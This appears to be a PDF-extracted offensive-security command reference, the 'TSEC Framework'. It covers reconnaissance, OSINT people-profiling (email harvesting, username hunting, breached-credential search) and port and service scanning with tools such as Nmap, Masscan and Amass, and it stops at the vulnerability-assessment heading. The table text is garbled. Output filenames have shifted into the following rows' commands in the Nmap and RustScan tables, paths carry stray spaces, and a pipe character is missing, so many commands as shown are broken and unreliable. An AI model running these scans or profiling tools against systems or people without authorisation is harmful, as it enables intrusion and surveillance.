

TSEC FRAMEWORK — Tactical Security Enumeration & Compromise

The definitive command-line reference for offensive security operations. 10 Phases | 100 Tools | 1,000 Commands — Every command saves output.

Authorized Security Testing Only. Unauthorized access to computer systems is illegal.

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Overview

The **TSEC Framework** is a comprehensive, phase-driven command-line toolkit for authorized penetration testing and red team operations. Each phase contains 10 carefully selected tools, and each tool provides 10 operational modes (commands) — ensuring you always have the right command for the job.

Every command in this framework is designed to **save output to a designated file**, ensuring no data is lost and all findings are properly documented for reporting.

Framework Design

Phase (1-10) -> Tool (1-10 per phase) -> Mode (1-10 per tool) -> Command

Key Principles

1. **Pure CLI** — Every tool is command-line driven; no GUIs required
2. **Output Capture** — Every command saves results to `/opt/tsec/output/`
3. **Modular Design** — Use phases independently or as a complete kill chain
4. **Living Reference** — Commands use `{placeholders}` for easy customization

Directory Structure

```
/opt/tsec/  
├─ output/          # All command outputs (timestamped)  
├─ wordlists/       # Password lists, user lists  
├─ scripts/         # Custom scripts and payloads  
├─ configs/         # Tool configuration files  
├─ tools/           # Installed tool binaries  
└─ projects/        # Per-engagement project files
```

Phase 1: Reconnaissance

Gather intelligence on targets through passive and active techniques. Map the digital footprint before touching the target infrastructure.

Tool 1.1 — Subfinder

Rapid passive subdomain discovery using multiple online sources.

Mode	Name	Command	Output
1	Passive Subdomain Enum	subfinder -d {domain} -silent -o /opt/tsec/output/ 1.1.1_subfinder_passive_{domain}.txt	TXT
2	All Sources Enum	subfinder -d {domain} -all -silent -o /opt/tsec/output/ 1.1.2_subfinder_all_{domain}.txt	TXT
3	Recursive Subdomain Enum	subfinder -d {domain} -recursive -all -silent -o / opt/tsec/output/ 1.1.3_subfinder_recursive_{domain}.txt	TXT
4	Active + Wildcard Filter	subfinder -d {domain} -all -nW -silent -o /opt/tsec/ output/ 1.1.4_subfinder_active_{domain}.txt	TXT
5	Specific Sources Enum	subfinder -d {domain} -sources shodan,censys,virustotal,crtsh,github -silent -o /opt/tsec/output/ 1.1.5_subfinder_sources_{domain}.txt	TXT
6	Source Collection JSON	subfinder -d {domain} -all -oJ -cs -o /opt/tsec/output/ 1.1.6_subfinder_json_{domain}.json	JSON
7	Exclude Sources Enum	subfinder -d {domain} -all -es {source} -silent -o /opt/ tsec/output/ 1.1.7_subfinder_exclude_{domain}.txt	TXT

Table 1 – continued

Mode	Name	Command	Output
8	IP Resolution Output	subfinder -d {domain} -all -nW -oI -silent -o /opt/tsec/ output/ 1.1.8_subfinder_ip_{domain}.txt	TXT
9	Bulk Domain Scan	subfinder -dL {domain_list_file} -all -silent -o /opt/tsec/output/ 1.1.9_subfinder_bulk.txt	TXT
10	Pipeline to HTTPX	subfinder -d {domain} -all -silent \ httpx -silent -sc -title -tech-detect -o /opt/ tsec/output/ 1.1.10_subfinder_httpx_{domain}.txt	TXT

Tool 1.2 — Amass

Comprehensive DNS enumeration and network mapping with deep correlation.

Mode	Name	Command	Output
1	Passive Enumeration	amass enum -passive -d {domain} -o /opt/tsec/output/ 1.2.1_amass_passive_{domain}.txt	TXT
2	Active Enumeration	amass enum -active -d {domain} -o /opt/tsec/output/ 1.2.2_amass_active_{domain}.txt	TXT
3	Intel Collection	amass intel -d {domain} -whois -o /opt/tsec/output/ 1.2.3_amass_intel_{domain}.txt	TXT
4	DNS Enumeration	amass enum -d {domain} -src -ip -o /opt/tsec/output/ 1.2.4_amass_dns_{domain}.txt	TXT
5	ASN Mapping	amass intel -org "{org_name}" -o /opt/tsec/output/ 1.2.5_amass_asn.txt	TXT
6	Brute Force	amass enum -brute -d {domain} -w {wordlist} -o /opt/tsec/ output/ 1.2.6_amass_brute_{domain}.txt	TXT
7	Visual Output	amass viz -d3 -o /opt/tsec/ output/ 1.2.7_amass_viz_{domain}.html	HTML
8	Database Query	amass db -names -d {domain} > /opt/tsec/output/ 1.2.8_amass_db_{domain}.txt	TXT

Table 2 – continued

Mode	Name	Command	Output
9	Config-Driven Enum	amass enum -config /opt/tsec/ configs/amass.ini -d {domain} -o /opt/tsec/output/ 1.2.9_amass_config_{domain}.txt	TXT
10	Full Intelligence	amass intel -active -d {domain} -whois -src -o /opt/ tsec/output/ 1.2.10_amass_full_{domain}.txt	TXT

Tool 1.3 — theHarvester

Email harvesting and OSINT gathering from search engines and public sources.

Mode	Name	Command	Output
1	Full Harvest	theHarvester -d {domain} -b all -f /opt/tsec/output/ 1.3.1_harvester_full_{domain}	HTML/XML
2	Google Only	theHarvester -d {domain} -b google -f /opt/tsec/output/ 1.3.2_harvester_google_{domain}	HTML/XML
3	Bing + LinkedIn	theHarvester -d {domain} -b bing,linkedin -f /opt/tsec/ output/ 1.3.3_harvester_bing_linkedin_{domain}	HTML/XML
4	Shodan Integration	theHarvester -d {domain} -b shodan -f /opt/tsec/output/ 1.3.4_harvester_shodan_{domain}	HTML/XML
5	Limit Results	theHarvester -d {domain} -b all -l {limit} -f /opt/tsec/output/ 1.3.5_harvester_limited_{domain}	HTML/XML
6	DNS TLD Expansion	theHarvester -d {domain} -c -f /opt/tsec/output/ 1.3.6_harvester_tld_{domain}	HTML/XML
7	Virtual Host Check	theHarvester -d {domain} -v -f /opt/tsec/output/ 1.3.7_harvester_vhost_{domain}	HTML/XML
8	DNS Lookup	theHarvester -d {domain} -n -f /opt/tsec/output/ 1.3.8_harvester_dns_{domain}	HTML/XML
9	Takeover Check	theHarvester -d {domain} -t -f /opt/tsec/output/ 1.3.9_harvester_takeover_{domain}	HTML/XML

Table 3 – continued

Mode	Name	Command	Output
10	Proxy Support	theHarvester -d {domain} -b all -p {proxy_url} -f /opt/ tsec/output/ 1.3.10_harvester_proxy_{domain}	HTML/XML

Tool 1.4 — Shodan CLI

Search engine for internet-connected devices and exposed services.

Mode	Name	Command	Output
1	Host Lookup	shodan host {ip} > /opt/tsec/ output/ 1.4.1_shodan_host_{ip}.txt	TXT
2	Domain Search	shodan domain {domain} > / opt/tsec/output/ 1.4.2_shodan_domain_{domain}.txt	TXT
3	Search Query	shodan search "{query}" --fields ip_str,port,org,hostnames > / opt/tsec/output/ 1.4.3_shodan_search.txt	TXT
4	Facet Analysis	shodan search "{query}" --facets org,port,os > /opt/ tsec/output/ 1.4.4_shodan_facets.txt	TXT
5	Download Results	shodan download /opt/tsec/ output/1.4.5_shodan_{query} "{query}"	JSON
6	Parse Download	shodan parse --fields ip_str,port,data /opt/tsec/ output/ 1.4.5_shodan_{query}.json.gz > /opt/tsec/output/ 1.4.6_shodan_parsed.txt	TXT
7	Stats Query	shodan stats "{query}" > / opt/tsec/output/ 1.4.7_shodan_stats.txt	TXT
8	My IP	shodan myip > /opt/tsec/ output/1.4.8_shodan_myip.txt	TXT
9	Count Results	shodan count "{query}" > / opt/tsec/output/ 1.4.9_shodan_count.txt	TXT

Table 4 – continued

Mode	Name	Command	Output
10	Honeyscore Check	shodan honeyscore {ip} > / opt/tsec/output/ 1.4.10_shodan_honeyscore_{ip}.txt	TXT

Tool 1.5 — Recon-ng

Modular reconnaissance framework with automated correlation.

Mode	Name	Command	Output
1	Domain Recon	recon-ng -r /opt/tsec/ scripts/recon-ng-domain.rc -o /opt/tsec/output/ 1.5.1_reconng_domain_{domain}.txt	TXT
2	Contact Harvest	recon-ng -w {workspace} -m recon/domains-contacts/ whois_pocs} -o /opt/tsec/ output/ 1.5.2_reconng_contacts.txt	TXT
3	Host Enumeration	recon-ng -w {workspace} -m recon/domains-hosts/ brute_hosts -o /opt/tsec/ output/ 1.5.3_reconng_hosts.txt	TXT
4	Module Search	recon-ng -w {workspace} --no-check -C "marketplace search {keyword}" > /opt/ tsec/output/ 1.5.4_reconng_search.txt	TXT
5	Module Install	recon-ng --no-check -C "marketplace install all" > / opt/tsec/output/ 1.5.5_reconng_install.txt	TXT
6	Netblock Discovery	recon-ng -w {workspace} -m recon/domains-hosts/ census_api -o /opt/tsec/ output/ 1.5.6_reconng_netblock.txt	TXT
7	SSL Certificate	recon-ng -w {workspace} -m recon/domains-hosts/ssl_san -o /opt/tsec/output/ 1.5.7_reconng_ssl.txt	TXT

Table 5 – continued

Mode	Name	Command	Output
8	Report Generation	recon-ng -w {workspace} -m reporting/html -o /opt/tsec/output/ 1.5.8_reconng_report.html	HTML
9	Credential Search	recon-ng -w {workspace} -m recon/domains-credentials/pwnedlist -o /opt/tsec/output/ 1.5.9_reconng_creds.txt	TXT
10	Full Recon	recon-ng -r /opt/tsec/scripts/recon-ng-full.rc -o /opt/tsec/output/ 1.5.10_reconng_full.txt	TXT

Tool 1.6 — Sherlock

Hunt down usernames across 400+ social networks.

Mode	Name	Command	Output
1	Single User	sherlock {username} --output /opt/tsec/output/ 1.6.1_sherlock_{username}.txt	TXT
2	Multiple Users	sherlock {user1} {user2} {user3} --output /opt/tsec/output/ 1.6.2_sherlock_multi.txt	TXT
3	Site Filter	sherlock {username} --site instagram,twitter,github --output /opt/tsec/output/ 1.6.3_sherlock_filtered.txt	TXT
4	CSV Output	sherlock {username} --csv --output /opt/tsec/output/ 1.6.4_sherlock_{username}.csv	CSV
5	JSON Output	sherlock {username} --json --output /opt/tsec/output/ 1.6.5_sherlock_{username}.json	JSON
6	Proxy Support	sherlock {username} --proxy {proxy_url} --output /opt/tsec/output/ 1.6.6_sherlock_proxy.txt	TXT
7	Timeout Adjust	sherlock {username} --timeout 10 --output /opt/tsec/output/ 1.6.7_sherlock_timeout.txt	TXT

Table 6 – continued

Mode	Name	Command	Output
8	Found Only	sherlock {username} --print-found --output /opt/ tsec/output/ 1.6.8_sherlock_found.txt	TXT
9	Browse	sherlock {username} --browse	BROWSER
10	All Sites + Export	sherlock {username} --csv --json --output /opt/tsec/ output/1.6.10_sherlock_full	ALL

Tool 1.7 — SpiderFoot

Automated OSINT and threat intelligence platform.

Mode	Name	Command	Output
1	Target Scan	spiderfoot -s {target} -o / opt/tsec/output/ 1.7.1_spiderfoot_{target}.json	JSON
2	Module List	spiderfoot -M > /opt/tsec/ output/ 1.7.2_spiderfoot_modules.txt	TXT
3	Specific Modules	spiderfoot -s {target} -m sfp_dns,sfp_webframework,sfp_portscan_tcp -o /opt/tsec/output/ 1.7.3_spiderfoot_select.json	JSON
4	Active Scan	spiderfoot -s {target} -n -o /opt/tsec/output/ 1.7.4_spiderfoot_active.json	JSON
5	DNS Scan Only	spiderfoot -s {target} -t DNS -o /opt/tsec/output/ 1.7.5_spiderfoot_dns.json	JSON
6	Correlation	spiderfoot -s {target} -c -o /opt/tsec/output/ 1.7.6_spiderfoot_correlation.json	JSON
7	Names Only	spiderfoot -s {target} -F -o /opt/tsec/output/ 1.7.7_spiderfoot_names.json	JSON
8	Use Proxy	spiderfoot -s {target} -x {proxy} -o /opt/tsec/output/ 1.7.8_spiderfoot_proxy.json	JSON
9	Exclude Modules	spiderfoot -s {target} -m sfp_dns,sfp_subdomain -o / opt/tsec/output/ 1.7.9_spiderfoot_exclude.json	JSON

Table 7 – continued

Mode	Name	Command	Output
10	Full Recon	spiderfoot -s {target} -a -c -o /opt/tsec/output/ 1.7.10_spiderfoot_full.json	JSON

Tool 1.8 — OWASP Amass (Intel Mode)

Deep intelligence gathering including ASN, routing, and infrastructure mapping.

Mode	Name	Command	Output
1	ASN Lookup	amass intel -asn {asn_number} -o /opt/tsec/output/ 1.8.1_amassintel_asn_{asn}.txt	TXT
2	CIDR Block	amass intel -cidr {cidr} -o / opt/tsec/output/ 1.8.2_amassintel_cidr_{cidr}.txt	TXT
3	Organization Search	amass intel -org "{org_name}" -o /opt/tsec/output/ 1.8.3_amassintel_org.txt	TXT
4	Reverse WHOIS	amass intel -whois -d {domain} -o /opt/tsec/output/ 1.8.4_amassintel_whois_{domain}.txt	TXT
5	IP to ASN	amass intel -ip -src -o /opt/ tsec/output/ 1.8.5_amassintel_ip.txt	TXT
6	Active Intel	amass intel -active - asn {asn} -o /opt/tsec/output/ 1.8.6_amassintel_active_{asn}.txt	TXT
7	Port Scanning	amass intel -p 80,443,8080 -cidr {cidr} -o /opt/tsec/ output/ 1.8.7_amassintel_ports_{cidr}.txt	TXT
8	IPv6 Support	amass intel -ipv6 -cidr {cidr} -o /opt/tsec/output/ 1.8.8_amassintel_ipv6_{cidr}.txt	TXT
9	Data Sources	amass intel -src - asn {asn} -o /opt/tsec/output/ 1.8.9_amassintel_sources_{asn}.txt	TXT
10	Full Infrastructure Map	amass intel -active -whois -asn {asn} -cidr {cidr} -org "{org}" -o /opt/tsec/output/ 1.8.10_amassintel_full.txt	TXT

Tool 1.9 — cloud_enum

Multi-cloud OSINT tool for finding public resources in AWS, Azure, and GCP.

Mode	Name	Command	Output
1	AWS Scan	python3 cloud_enum.py --keyword {keyword} -qs --json /opt/tsec/output/ 1.9.1_cloudenum_aws_{keyword}.json	JSON
2	Azure Scan	python3 cloud_enum.py --keyword {keyword} --azure -qs --json /opt/tsec/output/ 1.9.2_cloudenum_azure_{keyword}.json	JSON
3	GCP Scan	python3 cloud_enum.py --keyword {keyword} --gcp -qs --json /opt/tsec/output/ 1.9.3_cloudenum_gcp_{keyword}.json	JSON
4	All Clouds	python3 cloud_enum.py --keyword {keyword} --all -qs --json /opt/tsec/output/ 1.9.4_cloudenum_all_{keyword}.json	JSON
5	DNS Brute	python3 cloud_enum.py --keyword {keyword} --dns-brute -qs --json /opt/ tsec/output/ 1.9.5_cloudenum_dns_{keyword}.json	JSON
6	Mutations	python3 cloud_enum.py --keyword {keyword} -m /opt/ tsec/wordlists/ cloud_mutations.txt -qs --json /opt/tsec/output/ 1.9.6_cloudenum_mutations_{keyword}.json	JSON
7	S3 Only	python3 cloud_enum.py --keyword {keyword} -l /opt/ tsec/wordlists/s3_regions.txt -qs --json /opt/tsec/output/ 1.9.7_cloudenum_s3_{keyword}.json	JSON
8	Container Registry	python3 cloud_enum.py --keyword {keyword} --container -qs --json /opt/ tsec/output/ 1.9.8_cloudenum_container_{keyword}.json	JSON
9	Function Scan	python3 cloud_enum.py --keyword {keyword} --functions -qs --json /opt/ tsec/output/ 1.9.9_cloudenum_functions_{keyword}.json	JSON

Table 9 – continued

Mode	Name	Command	Output
10	Full Multi-Cloud	python3 cloud_enum.py --keyword {keyword} --all -m /opt/tsec/wordlists/ cloud_mutations.txt -qs --json /opt/tsec/output/ 1.9.10_cloudenum_full_{keyword}.json	JSON

Tool 1.10 — Maigret

Advanced username investigation across 3000+ sites with rich data export.

Mode	Name	Command	Output
1	Basic Lookup	maigret {username} --json / opt/tsec/output/ 1.10.1_maigret_{username}.json	JSON
2	HTML Report	maigret {username} --html / opt/tsec/output/ 1.10.2_maigret_{username}.html	HTML
3	CSV Export	maigret {username} --csv / opt/tsec/output/ 1.10.3_maigret_{username}.csv	CSV
4	Site Filter	maigret {username} --site instagram,twitter,reddit --json /opt/tsec/output/ 1.10.4_maigret_filtered.json	JSON
5	Tags Filter	maigret {username} --tags photo,messaging --json /opt/ tsec/output/ 1.10.5_maigret_tags.json	JSON
6	Top Sites Only	maigret {username} --top-sites --json /opt/tsec/ output/ 1.10.6_maigret_top.json	JSON
7	Proxy Support	maigret {username} --proxy {proxy} --json /opt/tsec/ output/ 1.10.7_maigret_proxy.json	JSON
8	Timeout Adjust	maigret {username} --timeout 15 --json /opt/tsec/output/ 1.10.8_maigret_timeout.json	JSON
9	No Recheck	maigret {username} --no-recheck --json /opt/ tsec/output/ 1.10.9_maigret_nocheck.json	JSON

Table 10 – continued

Mode	Name	Command	Output
10	Full Investigation	<pre>maigret {username} --all-sites --timeout 20 --json /opt/tsec/output/ 1.10.10_maigret_full_{username}.json</pre>	JSON

Phase 2: Attack Surface Mapping

Map the complete attack surface of the target infrastructure. Identify all services, ports, technologies, and entry points.

Tool 2.1 — Nmap

The network mapper — the foundation of network discovery and security auditing.

Mode	Name	Command	Output
1	Quick Scan	<pre>nmap -T4 -F {target} -oN / opt/tsec/output/ 2.1.1_nmap_quick_{target}.nmap</pre>	NMAP
2	Full Port Scan	<pre>nmap -p- -T4 {target} -oN / opt/tsec/output/ 2.1.2_nmap_fullport_{target}.nmap</pre>	NMAP
3	Service Detection	<pre>nmap -sV -sC -O {target} -oN /opt/tsec/output/ 2.1.3_nmap_service_{target}.nmap</pre>	NMAP
4	Aggressive Scan	<pre>nmap -A -T4 {target} -oN / opt/tsec/output/ 2.1.4_nmap_aggressive_{target}.nmap</pre>	NMAP
5	UDP Scan	<pre>nmap -sU -T4 --top-ports 100 {target} -oN /opt/tsec/ output/ 2.1.5_nmap_udp_{target}.nmap</pre>	NMAP
6	Script Scan	<pre>nmap --script={script_name} {target} -oN /opt/tsec/ output/ 2.1.6_nmap_script_{target}.nmap</pre>	NMAP
7	Stealth Scan	<pre>nmap -sS -T2 -p- {target} -oN /opt/tsec/output/ 2.1.7_nmap_stealth_{target}.nmap</pre>	NMAP

Table 11 – continued

Mode	Name	Command	Output
8	OS Detection	<code>nmap -O --osscan-guess {target} -oN /opt/tsec/output/</code>	NMAP
9	XML Output	<code>2.1.8_nmap_os_{target}.nmap nmap -A -T4 {target} -oX /opt/tsec/output/</code>	XML
10	Full Audit	<code>2.1.9_nmap_{target}.xml nmap -sS -sV -sC -O -A -p- -T4 {target} -oA /opt/tsec/output/</code>	ALL
		<code>2.1.10_nmap_full_{target}</code>	

Tool 2.2 — RustScan

Ultra-fast port scanner that feeds results directly into Nmap.

Mode	Name	Command	Output
1	Quick Scan	<code>rustscan -a {target} -o /opt/tsec/output/</code>	TXT
2	All Ports	<code>2.2.1_rustscan_quick_{target}.txt rustscan -a {target} -p 1-65535 -o /opt/tsec/output/</code>	TXT
3	Nmap Pipeline	<code>2.2.2_rustscan_all_{target}.txt rustscan -a {target} -- -sV -sC -oN /opt/tsec/output/</code>	NMAP
4	Batch Scan	<code>2.2.3_rustscan_nmap_{target}.nmap rustscan -a {target1},{target2},{target3} -o /opt/tsec/output/</code>	TXT
5	Custom Scripts	<code>2.2.4_rustscan_batch.txt rustscan -a {target} --scripts none -- -sV -oN /opt/tsec/output/</code>	NMAP
6	Top Ports	<code>2.2.5_rustscan_custom_{target}.nmap rustscan -a {target} --top -o /opt/tsec/output/</code>	TXT
7	UDP Scan	<code>2.2.6_rustscan_top_{target}.txt rustscan -a {target} -u 1000 -o /opt/tsec/output/</code>	TXT
8	Rate Limit	<code>2.2.7_rustscan_udp_{target}.txt rustscan -a {target} -b 500 -o /opt/tsec/output/</code>	TXT
		<code>2.2.8_rustscan_rate_{target}.txt</code>	

Table 12 – continued

Mode	Name	Command	Output
9	JSON Output	<code>rustscan -a {target} --format json -o /opt/tsec/output/2.2.9_rustscan_{target}.json</code>	JSON
10	Full Pipeline	<code>rustscan -a {target} -p 1-65535 -- -sV -sC -O -A -oN /opt/tsec/output/2.2.10_rustscan_full_{target}.nmap</code>	NMAP

Tool 2.3 — Masscan

Internet-scale port scanner for large network ranges.

Mode	Name	Command	Output
1	Quick CIDR Scan	<code>masscan {cidr} -p{ports} --rate 1000 -oB /opt/tsec/output/2.3.1_masscan_{cidr}.bin</code>	BIN
2	List Output	<code>masscan {cidr} -p{ports} --rate 1000 -oL /opt/tsec/output/2.3.2_masscan_{cidr}.list</code>	LIST
3	JSON Output	<code>masscan {cidr} -p{ports} --rate 1000 -oJ /opt/tsec/output/2.3.3_masscan_{cidr}.json</code>	JSON
4	XML Output	<code>masscan {cidr} -p{ports} --rate 1000 -oX /opt/tsec/output/2.3.4_masscan_{cidr}.xml</code>	XML
5	Resume Scan	<code>masscan --resume /opt/tsec/output/2.3.1_masscan_{cidr}.bin -oL /opt/tsec/output/2.3.5_masscan_resume.list</code>	LIST
6	Randomize	<code>masscan {cidr} -p{ports} --rate 1000 --randomize-hosts -oL /opt/tsec/output/2.3.6_masscan_random.list</code>	LIST
7	Excludefile	<code>masscan {cidr} -p{ports} --excludefile {exclude_file} --rate 1000 -oL /opt/tsec/output/2.3.7_masscan_exclude.list</code>	LIST

Table 13 – continued

Mode	Name	Command	Output
8	Top 100 Ports	masscan {cidr} --top-ports 100 --rate 1000 -oL /opt/ tsec/output/ 2.3.8_masscan_top100.list	LIST
9	Banner Grab	masscan {cidr} -p{ports} --banners --rate 1000 -oJ / opt/tsec/output/ 2.3.9_masscan_banners.json	JSON
10	Full Range Scan	masscan {cidr} -p1-65535 --rate 10000 -oL /opt/tsec/ output/ 2.3.10_masscan_full.list	LIST

Tool 2.4 — Naabu

Fast port scanner with host discovery and Nmap integration.

Mode	Name	Command	Output
1	Host Scan	naabu -host {target} -o /opt/ tsec/output/ 2.4.1_naabu_{target}.txt	TXT
2	CIDR Scan	naabu -host {cidr} -o /opt/ tsec/output/ 2.4.2_naabu_cidr.txt	TXT
3	Top Ports	naabu -host {target} -top-ports 1000 -o /opt/tsec/ output/ 2.4.3_naabu_top1000_{target}.txt	TXT
4	Nmap Integration	naabu -host {target} -nmap-cli 'nmap -sV -sC' -o / opt/tsec/output/ 2.4.4_naabu_nmap_{target}.txt	TXT
5	Exclude Ports	naabu -host {target} -exclude-ports 80,443 -o / opt/tsec/output/ 2.4.5_naabu_exclude_{target}.txt	TXT
6	Rate Limit	naabu -host {target} -rate 500 -o /opt/tsec/output/ 2.4.6_naabu_rate_{target}.txt	TXT
7	CDN Exclusion	naabu -host {target} -exclude-cdn -o /opt/tsec/ output/ 2.4.7_naabu_nocdn_{target}.txt	TXT

Table 14 – continued

Mode	Name	Command	Output
8	JSON Output	naabu -host {target} -json -o /opt/tsec/output/2.4.8_naabu_{target}.json	JSON
9	Stream Output	naabu -host {target} -stream -o /opt/tsec/output/2.4.9_naabu_stream_{target}.txt	TXT
10	Full Port + Nmap	naabu -host {target} -p - -nmap-cli 'nmap -sV -sC -O -A' -o /opt/tsec/output/2.4.10_naabu_full_{target}.txt	TXT

Tool 2.5 — HTTPX

Fast, multi-purpose HTTP prober with advanced fingerprinting.

Mode	Name	Command	Output
1	Probe List	httpx -l {host_list} -o /opt/tsec/output/2.5.1_httpx_probe.txt	TXT
2	Tech Detect	httpx -l {host_list} -tech-detect -o /opt/tsec/output/2.5.2_httpx_tech.txt	TXT
3	Status Code	httpx -l {host_list} -status-code -o /opt/tsec/output/2.5.3_httpx_status.txt	TXT
4	Title Grab	httpx -l {host_list} -title -o /opt/tsec/output/2.5.4_httpx_title.txt	TXT
5	Screenshot	httpx -l {host_list} -screenshot -o /opt/tsec/output/2.5.5_httpx_screenshots/	PNG
6	Web Server	httpx -l {host_list} -web-server -o /opt/tsec/output/2.5.6_httpx_server.txt	TXT
7	CDN Detection	httpx -l {host_list} -cdn -o /opt/tsec/output/2.5.7_httpx_cdn.txt	TXT
8	Favicon Hash	httpx -l {host_list} -favicon -o /opt/tsec/output/2.5.8_httpx_favicon.txt	TXT
9	JSON Output	httpx -l {host_list} -json -o /opt/tsec/output/2.5.9_httpx.json	JSON

Table 15 – continued

Mode	Name	Command	Output
10	Full Recon	httpx -l {host_list} -tech-detect -status-code -title -web-server -cdn -json -o /opt/tsec/output/ 2.5.10_httpx_full.json	JSON

Tool 2.6 — DNSX

Fast, multi-purpose DNS toolkit for DNS enumeration and verification.

Mode	Name	Command	Output
1	A Record	dnsx -l {domain_list} -a -resp -o /opt/tsec/output/ 2.6.1_dnsx_a.txt	TXT
2	AAAA Record	dnsx -l {domain_list} -aaaa -resp -o /opt/tsec/output/ 2.6.2_dnsx_aaaa.txt	TXT
3	MX Record	dnsx -l {domain_list} -mx -resp -o /opt/tsec/output/ 2.6.3_dnsx_mx.txt	TXT
4	NS Record	dnsx -l {domain_list} -ns -resp -o /opt/tsec/output/ 2.6.4_dnsx_ns.txt	TXT
5	TXT Record	dnsx -l {domain_list} -txt -resp -o /opt/tsec/output/ 2.6.5_dnsx_txt.txt	TXT
6	CNAME	dnsx -l {domain_list} -cname -resp -o /opt/tsec/output/ 2.6.6_dnsx_cname.txt	TXT
7	PTR (Reverse)	dnsx -l {ip_list} -ptr -resp -o /opt/tsec/output/ 2.6.7_dnsx_ptr.txt	TXT
8	SOA	dnsx -l {domain_list} -soa -resp -o /opt/tsec/output/ 2.6.8_dnsx_soa.txt	TXT
9	DNS Wildcard	dnsx -l {domain_list} -wd {wildcard_domain} -o /opt/ tsec/output/ 2.6.9_dnsx_wildcard.txt	TXT
10	Full DNS Enum	dnsx -l {domain_list} -a -aaaa -mx -ns -txt -cname -soa -json -o /opt/tsec/ output/2.6.10_dnsx_full.json	JSON

Tool 2.7 — WhatWeb

Next-generation web scanner for technology fingerprinting.

Mode	Name	Command	Output
1	Single Target	<code>whatweb {target} > /opt/tsec/output/ 2.7.1_whatweb_{target}.txt</code>	TXT
2	Target List	<code>whatweb -i {url_list} > /opt/tsec/output/ 2.7.2_whatweb_list.txt</code>	TXT
3	Verbose	<code>whatweb -v {target} > /opt/tsec/output/ 2.7.3_whatweb_verbose_{target}.txt</code>	TXT
4	Aggression Level 3	<code>whatweb -a 3 {target} > /opt/tsec/output/ 2.7.4_whatweb_aggro_{target}.txt</code>	TXT
5	Colour Output	<code>whatweb --colour=always {target} > /opt/tsec/output/ 2.7.5_whatweb_colour_{target}.txt</code>	TXT
6	Log JSON	<code>whatweb --log-json /opt/tsec/output/ 2.7.6_whatweb_{target}.json {target}</code>	JSON
7	Log XML	<code>whatweb --log-xml /opt/tsec/output/ 2.7.7_whatweb_{target}.xml {target}</code>	XML
8	Log SQL	<code>whatweb --log-sql /opt/tsec/output/ 2.7.8_whatweb_{target}.db {target}</code>	DB
9	Proxy	<code>whatweb --proxy {proxy} {target} > /opt/tsec/output/ 2.7.9_whatweb_proxy_{target}.txt</code>	TXT
10	Full Scan	<code>whatweb -a 3 -v --log-json /opt/tsec/output/ 2.7.10_whatweb_full_{target}.json {target}</code>	JSON

Tool 2.8 — Cloudlist

Multi-cloud asset discovery tool for AWS, Azure, GCP, and more.

Mode	Name	Command	Output
1	AWS Scan	cloudlist -provider aws -o /opt/tsec/output/ 2.8.1_cloudlist_aws.txt	TXT
2	Azure Scan	cloudlist -provider azure -o /opt/tsec/output/ 2.8.2_cloudlist_azure.txt	TXT
3	GCP Scan	cloudlist -provider gcp -o /opt/tsec/output/ 2.8.3_cloudlist_gcp.txt	TXT
4	DO Scan	cloudlist -provider do -o /opt/tsec/output/ 2.8.4_cloudlist_do.txt	TXT
5	Linode Scan	cloudlist -provider linode -o /opt/tsec/output/ 2.8.5_cloudlist_linode.txt	TXT
6	All Providers	cloudlist -o /opt/tsec/output/ 2.8.6_cloudlist_all.txt	TXT
7	JSON Output	cloudlist -json -o /opt/tsec/output/2.8.7_cloudlist.json	JSON
8	Host Only	cloudlist -host-only -o /opt/tsec/output/ 2.8.8_cloudlist_hosts.txt	TXT
9	IP Only	cloudlist -ip-only -o /opt/tsec/output/ 2.8.9_cloudlist_ips.txt	TXT
10	Full Inventory	cloudlist -json -o /opt/tsec/output/ 2.8.10_cloudlist_full.json	JSON

Tool 2.9 — Uncover

Quickly discover exposed hosts on the internet using search engine APIs.

Mode	Name	Command	Output
1	Shodan Query	uncover -q "{query}" -e shodan -o /opt/tsec/output/ 2.9.1_uncover_shodan.txt	TXT
2	Censys Query	uncover -q "{query}" -e censys -o /opt/tsec/output/ 2.9.2_uncover_censys.txt	TXT
3	FOFA Query	uncover -q "{query}" -e fofa -o /opt/tsec/output/ 2.9.3_uncover_fofa.txt	TXT

Table 19 – continued

Mode	Name	Command	Output
4	Hunter Query	uncover -q "{query}" -e hunter -o /opt/tsec/output/ 2.9.4_uncover_hunter.txt	TXT
5	Quake Query	uncover -q "{query}" -e quake -o /opt/tsec/output/ 2.9.5_uncover_quake.txt	TXT
6	Multiple Engines	uncover -q "{query}" -e shodan,censys,fofa -o /opt/ tsec/output/ 2.9.6_uncover_multi.txt	TXT
7	JSON Output	uncover -q "{query}" -e shodan -json -o /opt/tsec/ output/2.9.7_uncover.json	JSON
8	Limit Results	uncover -q "{query}" -e shodan -l {limit} -o /opt/ tsec/output/ 2.9.8_uncover_limited.txt	TXT
9	IP Only	uncover -q "{query}" -e shodan -field ip -o /opt/ tsec/output/ 2.9.9_uncover_ips.txt	TXT
10	Full Discovery	uncover -q "{query}" -e shodan,censys,fofa,hunter -json -o /opt/tsec/output/ 2.9.10_uncover_full.json	JSON

Tool 2.10 — EyeWitness

Take screenshots of websites and identify default credentials.

Mode	Name	Command	Output
1	Web Screenshot	eyewitness --web -f {url_list} -d /opt/tsec/ output/2.10.1_eyewitness_web/	HTML/PNG
2	Single URL	eyewitness --web --single {url} -d /opt/tsec/output/ 2.10.2_eyewitness_single/	HTML/PNG
3	RDP Screenshot	eyewitness --rdp -f {ip_list} -d /opt/tsec/output/ 2.10.3_eyewitness_rdp/	PNG
4	VNC Screenshot	eyewitness --vnc -f {ip_list} -d /opt/tsec/output/ 2.10.4_eyewitness_vnc/	PNG

Table 20 – continued

Mode	Name	Command	Output
5	All Protocols	eyewitness --web --rdp --vnc -f {ip_list} -d /opt/tsec/ output/2.10.5_eyewitness_all/	ALL
6	Proxy	eyewitness --web -f {url_list} --proxy-ip {proxy_ip} --proxy-port {proxy_port} -d /opt/tsec/ output/ 2.10.6_eyewitness_proxy/	HTML/PNG
7	No DNS	eyewitness --web -f {url_list} --no-dns -d /opt/ tsec/output/ 2.10.7_eyewitness_nodns/	HTML/PNG
8	Timeout Adjust	eyewitness --web -f {url_list} --timeout {seconds} -d /opt/tsec/ output/ 2.10.8_eyewitness_timeout/	HTML/PNG
9	User Agent	eyewitness --web -f {url_list} --user-agent "{ua}" -d /opt/tsec/output/ 2.10.9_eyewitness_ua/	HTML/PNG
10	Full Web Capture	eyewitness --web --rdp --vnc -f {ip_list} --all-protocols --timeout 30 -d /opt/tsec/ output/ 2.10.10_eyewitness_full/	ALL

Phase 3: Vulnerability Assessment

Identify weaknesses in target systems through automated scanning and manual verification. Confirm findings with proof-of-concept validation.

Tool 3.1 — Nuclei

